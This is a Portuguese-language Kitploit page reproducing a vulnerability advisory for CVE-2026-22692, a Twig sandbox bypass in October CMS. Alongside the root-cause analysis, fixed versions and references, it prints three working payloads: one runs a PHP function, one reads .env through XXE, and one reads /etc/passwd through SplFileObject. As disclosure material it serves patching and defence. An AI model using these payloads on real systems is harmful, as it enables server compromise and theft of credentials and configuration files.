Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-22692 — CVE-2026-22692 - Bypass crítico do sandbox Twig via collect()->mapInto() permitindo RCE/LFI/XXE no October CMS | Kitploit
Ferramentas/GitHubGitHub/lukasz-rybak/cve-2026-22692
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebPapers e PesquisaAprendizado e Educação
GitHublukasz-rybak/cve-2026-22692

CVE-2026-22692

CVE-2026-22692 - Bypass crítico do sandbox Twig via collect()->mapInto() permitindo RCE/LFI/XXE no October CMS

Ver Repositório
2há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-22692: Bypass Crítico do Sandbox Twig via collect()->mapInto() permitindo RCE/LFI/XXE (October CMS)

Visão Geral

CampoDetalhes
ID do CVECVE-2026-22692
GravidadeModerada (CVSS:3.1 4.9)
AvisoGHSA-m5qg-jc75-4jp6
Produto AfetadoOctober CMS (<= 4.1.4, <= 3.7.12)
Tipo de VulnerabilidadeTwig Sandbox Bypass -> RCE, LFI, XXE
Descoberto porLukasz Rybak

Classificação CWE

  • CWE-693: Falha no Mecanismo de Proteção
  • CWE-611: Restrição Incorreta de Referência a Entidade Externa XML
  • CWE-74: Neutralização Incorreta de Elementos Especiais na Saída Usada por um Componente a Jusante ('Injeção')

Resumo

Existe uma vulnerabilidade crítica no sandbox Twig do October CMS (Modo Seguro) que permite que usuários autenticados com privilégios de edição de templates contornem as restrições de segurança e executem código PHP arbitrário (RCE) ou leiam arquivos arbitrários (XXE/LFI) do servidor.

Detalhes

Causa Raiz

A causa raiz está localizada em October\Rain\Support\SafeCollection. Essa classe implementa a interface CallsAnyMethod, que informa ao System\Twig\SecurityPolicy para contornar a lista de permissões padrão de métodos para o próprio objeto da coleção.

Embora o SafeCollection tente filtrar argumentos para impedir a execução direta de callables, ele não bloqueia o método mapInto($class). O método mapInto itera sobre a coleção e instancia o nome da classe fornecida:

root@kitploit:~
new $class($value, $key);

Isso permite que um invasor instancie qualquer classe conhecida pela aplicação.

Vulnerabilidade 1: RCE (Execução de Função)

O System\Twig\SecurityPolicy permite explicitamente o método __toString() em todos os objetos. Ao instanciar Psy\Readline\Hoa\Xcallable (que encapsula um callable) e envolvê-lo dentro de um GuzzleHttp\Psr7\FnStream (que chama uma função definida pelo usuário em seu método __toString por meio da propriedade _fn___toString), um invasor pode acionar a execução de funções PHP arbitrárias que não exigem argumentos (ex.: php_uname, phpinfo) simplesmente imprimindo o objeto no Twig.

Vulnerabilidade 2: XXE (Leitura Arbitrária de Arquivos)

A classe SimpleXMLElement aceita uma flag de opção do libxml como segundo argumento do construtor. O mapInto() passa a chave da coleção como segundo argumento para o construtor. Ao criar uma coleção com uma chave 2 (que corresponde a LIBXML_NOENT), um invasor pode habilitar a substituição de entidades externas no SimpleXMLElement, levando a XXE imediato e à capacidade de ler arquivos do sistema.

Vulnerabilidade 3: LFI (Leitura Arbitrária de Arquivos via SplFileObject)

Existe uma vulnerabilidade mais direta de Inclusão Local de Arquivos (LFI) usando a classe nativa do PHP SplFileObject. Ao instanciar SplFileObject com um caminho de arquivo e modo de leitura (passados via mapInto), um invasor obtém um objeto de arquivo iterável. Passar esse objeto para o helper collect() aciona a iteração imediata (via iterator_to_array no núcleo do framework), o que contorna a política de bloqueio de métodos do Sandbox. Isso permite ler qualquer arquivo ao qual o servidor web tenha acesso, sem exigir suporte a XML ou bibliotecas específicas de fornecedores.

PoC (Prova de Conceito)

Pré-requisitos

  • Acesso autenticado ao Backend do October CMS (ou qualquer recurso que permita a edição de templates Twig)
  • CMS_SAFE_MODE=true

Payload 1: RCE (Executar php_uname)

root@kitploit:~
{% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}

{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}

{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}

System Info: {{ f }}

Payload 2: XXE (Ler arquivo .env)

root@kitploit:~
{% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}

{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}

FILE CONTENT (.env):
{{ x }}

Payload 3: LFI (Ler /etc/passwd via SplFileObject)

root@kitploit:~
{% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}

LFI Result:
{{ content.join('') }}

Impacto

Execução Remota de Código (RCE), Inclusão Local de Arquivos (LFI), Injeção de Entidade Externa XML (XXE).

  • RCE: Permite a execução de código PHP (limitado a funções sem argumentos com o gadget FnStream, mas potencialmente expansível com outros gadgets).
  • LFI / XXE: Permite a leitura de qualquer arquivo no sistema de arquivos do servidor ao qual o usuário web tenha acesso (incluindo /etc/passwd, configuração do banco de dados, .env, etc.) por meio de múltiplos vetores (SimpleXMLElement ou SplFileObject).

Isso afeta qualquer instalação do October CMS onde usuários não confiáveis ou semiconfiáveis tenham acesso ao editor de templates do CMS, permitindo efetivamente que eles elevem privilégios para o nível de lógica de Administrador do Sistema / Root.

Produtos Afetados

  • Pacote: octobercms/october (Packagist)
  • Versões afetadas: <= 4.1.4, <= 3.7.12
  • Corrigido em: 4.1.5, 3.7.13

Referências

  • https://github.com/octobercms/october/security/advisories/GHSA-m5qg-jc75-4jp6
  • https://nvd.nist.gov/vuln/detail/CVE-2026-22692

Aviso Legal

Este CVE foi divulgado de forma responsável, seguindo práticas coordenadas de divulgação de vulnerabilidades. As informações fornecidas aqui são apenas para fins educacionais e defensivos.

Baixar ferramenta